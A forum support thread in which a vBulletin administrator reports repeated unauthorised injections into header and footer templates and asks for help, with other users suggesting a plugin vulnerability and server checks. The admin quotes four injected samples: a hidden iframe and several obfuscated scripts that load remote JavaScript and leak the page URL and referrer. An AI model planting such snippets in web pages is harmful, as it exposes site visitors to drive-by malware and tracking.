Header/Headerinclude or Footer was changed by strangers

[calvinphan]

Hello everyone,

My forum is 3.8.5 latest verion. Recently my forum's header or headerinclude or footer was insert an "iframe" or javascript like below:

<iframe width="5" height="5" scrolling="NO" frameborder="0" src="http://www.besthitsnow.com/b1.php?id=johnkiss"></iframe>

or:

<script>
lankru_html += '<scr' + 'ipt language="JavaSc' + 'ript" ';
lankru_html += 'src="http://kn' + 'alru.ru/js.php?id=36274';
lankru_html += '&dd=3&url=' + encodeURIComponent(document.location);
lankru_html += '&ref=' + encodeURIComponent(document.referrer);
lankru_html += '&rnd=' + Math.random() + '"></scr' + 'ipt>';
document.write(lankru_html);
</script>

or:

<script>
var charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789._-'\"~#&(){}[]<>|`:/;!? =";
var urlArray="76,8,5,17,0,12,4,85,22,8,3,19,7,86,66,59,58,60,66,85,7,4,8,6,7,19,86,66,53,58,52,66,85,18,2,17,14,11,11,8,13,6,86,66,39,40,66,85,5,17,0,12,4,1,14,17,3,4,17,86,66,52,66,85,18,17,2,86,66,7,19,19,15,80,81,81,22,22,22,62,1,4,18,19,7,8,19,18,13,14,22,62,2,14,12,81,1,53,62,15,7,15,84,8,3,86,9,14,7,13,10,8,18,18,66,77,76,81,8,5,17,0,12,4,77";
urlArray = urlArray.split(","); urlFinal = "";
for(var i = 0; i<urlArray.length; i++){urlFinal = urlFinal + charset[urlArray[i]];}
document.write(urlFinal);
</script>

or:

<script>var y ="flash-";var z = "update";var x ="http://";var t = ".info";var w = "lib14.";var u="script";document.write("<"+u+ " src=\""+ x + y + z + t + "/"+w+"js\""+">"+"</"+u+">");</script>

I had already removed any plug-ins from my forum, but I still don't know how they can change my forum's header or headerinclude or footer with the codes above

Is there anyone can help with this problem ?

Thank you.

Regards,
Calvin

[kmike]

Do you have VBSEO installed? It has a local PHP execution vulnerability in one of the older versions which could be used to insert a malicious HTML in your templates.

[calvinphan]

Hi kmike,

No, I don't use VBSEO. Even I removed any suspected skins and only Default style left but he is still able to insert the codes.

Regards,
Calvin

[Lynne]

Have you looked on your server for any suspicious files?

[calvinphan]

Hello,

Yes, I did. I didn't see anything suspiciously. Even I tried to re-install the forum from scratch and use the same database, but he was still able to insert the codes. I don't know why. If you can figure out, please help! Thank you so much.

Regards,
Calvin

[Lynne]

You may want to take a look at this tool - http://www.vbulletin.org/forum/showthread.php?t=220967